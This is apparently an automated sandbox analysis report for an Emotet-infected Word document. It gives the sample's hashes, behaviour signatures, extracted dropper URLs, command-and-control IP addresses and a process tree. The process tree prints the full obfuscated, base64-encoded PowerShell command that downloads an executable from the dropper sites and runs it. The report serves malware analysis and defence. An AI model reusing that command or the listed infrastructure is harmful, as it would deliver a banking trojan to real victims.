Overview

overview

10

Static

static

8

DOC_294378...1).doc

windows7_x64

10

DOC_294378...1).doc

windows10_x64

10

Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    03/08/2020, 07:22

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General

  • Target
    DOC_294378304766440083002(1).doc
  • Size 171KB
  • Sample200803-gbk754apba
  • SHA256 0c6174b49f4dce1e7ebc3fdb548f1e2754e12f8e7026e4d1794c52c2d544aa54
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://pufferfiz.net/btrsports/3_qr_elsv8z8sb/
  • exe.dropper

    http://rnetwork.com.br/administrator/itn1q_s_nhf/
  • exe.dropper

    http://essoft.com/cgi-bin/bmkhn_v_pd5gahs8/
  • exe.dropper

    http://dairyfocus.com.au/administrator/andxl/zvsg2_ijx_nd82wyrwn/
  • exe.dropper

    http://kobes.net/cgi-bin/18i_56g1_o9cw7yj/

Extracted

Family

  • emotet

C2

  • 142.105.151.124:443

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 71.208.216.10:80

  • 108.48.41.69:80

  • 83.110.223.58:443

  • 210.165.156.91:80

  • 104.131.44.150:8080

  • 104.236.246.93:8080

  • 5.39.91.110:7080

  • 209.141.54.221:8080

  • 209.182.216.177:443

  • 153.126.210.205:7080

  • 91.211.88.52:7080

  • 180.92.239.110:8080

  • 183.101.175.193:80

  • 162.241.92.219:8080

  • 87.106.139.101:8080

  • 114.146.222.200:80

  • 65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_294378304766440083002(1).doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    PID:3888
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAEsAUABVAFcAZQBrAGIAPQAnAEYATABRAEoATwBkAGEAZwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBgAFIASQBgAFQAWQBwAFIATwBUAE8AYwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAFgATwBFAEkAaQBkAGEAIAA9ACAAJwAyADgAMAAnADsAJABWAFoASABSAEgAagBwAHQAPQAnAFUASABTAEsAWgB3AGIAYQAnADsAJABIAEsAUwBMAFkAZgBrAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAWABPAEUASQBpAGQAYQArACcALgBlAHgAZQAnADsAJABNAE8ATgBBAFcAYgBmAGcAPQAnAFAASQBMAEQAQgBiAGcAZgAnADsAJABaAFEAUABUAE8AZQBuAHIAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAQwBMAEkAZQBuAFQAOwAkAEcAWABNAEMAWQB0AG8AcQA9ACcAaAB0AHQAcAA6AC8ALwBwAHUAZgBmAGUAcgBmAGkAegAuAG4AZQB0AC8AYgB0AHIAcwBwAG8AcgB0AHMALwAzAF8AcQByAF8AZQBsAHMAdgA4AHoAOABzAGIALwAqAGgAdAB0AHAAOgAvAC8AcgBuAGUAdAB3AG8AcgBrAC4AYwBvAG0ALgBiAHIALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AaQB0AG4AMQBxAF8AcwBfAG4AaABmAC8AKgBoAHQAdABwADoALwAvAGUAcwBzAG8AZgB0AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AYgBtAGsAaABuAF8AdgBfAHAAZAA1AGcAYQBoAHMAOAAvACoAaAB0AHQAcAA6AC8ALwBkAGEAaQByAHkAZgBvAGMAdQBzAC4AYwBvAG0ALgBhAHUALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AYQBuAGQAeABsAC8AegB2AHMAZwAyAF8AaQBqAHgAXwBuAGQAOAAyAHcAeQByAHcAbgAvACoAaAB0AHQAcAA6AC8ALwBrAG8AYgBlAHMALgBuAGUAdAAvAGMAZwBpAC0AYgBpAG4ALwAxADgAaQBfADUANgBnADEAXwBvADkAYwB3ADcAeQBqAC8AJwAuACIAcwBwAGAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXAFQASQBLAEcAbABiAGcAPQAnAE4AQgBRAE0ATQBkAG4AdAAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBQAEEATwBBAGcAZgBsACAAaQBuACAAJABHAFgATQBDAFkAdABvAHEAKQB7AHQAcgB5AHsAJABaAFEAUABUAE8AZQBuAHIALgAiAGQAYABvAHcAYABOAGwAbwBBAGQAZgBJAGwAZQAiACgAJABZAFAAQQBPAEEAZwBmAGwALAAgACQASABLAFMATABZAGYAawByACkAOwAkAEsAVQBDAEYATQBiAHEAegA9ACcAWABSAEYAUQBEAHUAbQBmACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQASABLAFMATABZAGYAawByACkALgAiAGwARQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMgA1ADIANgA0ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAYABFAGAAQQBUAEUAIgAoACQASABLAFMATABZAGYAawByACkAOwAkAEIASABDAFkAUABmAHIAZQA9ACcARABWAEkAUABJAGkAdwBrACcAOwBiAHIAZQBhAGsAOwAkAFEASABIAFUASABhAGUAcAA9ACcAVwBYAFYAQQBIAHcAagByACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAVwBNAEEAVQB3AG4AdgA9ACcAUABDAFgASQBIAGsAZABvACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    PID:3404
  • C:\Users\Admin\280.exe
    C:\Users\Admin\280.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:3112
    • C:\Windows\SysWOW64\tlscsp\PlayToManager.exe
      "C:\Windows\SysWOW64\tlscsp\PlayToManager.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1016

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1016-11-0x0000000000720000-0x000000000072C000-memory.dmp
        Download

        memory/3112-8-0x0000000000580000-0x000000000058C000-memory.dmp
        Download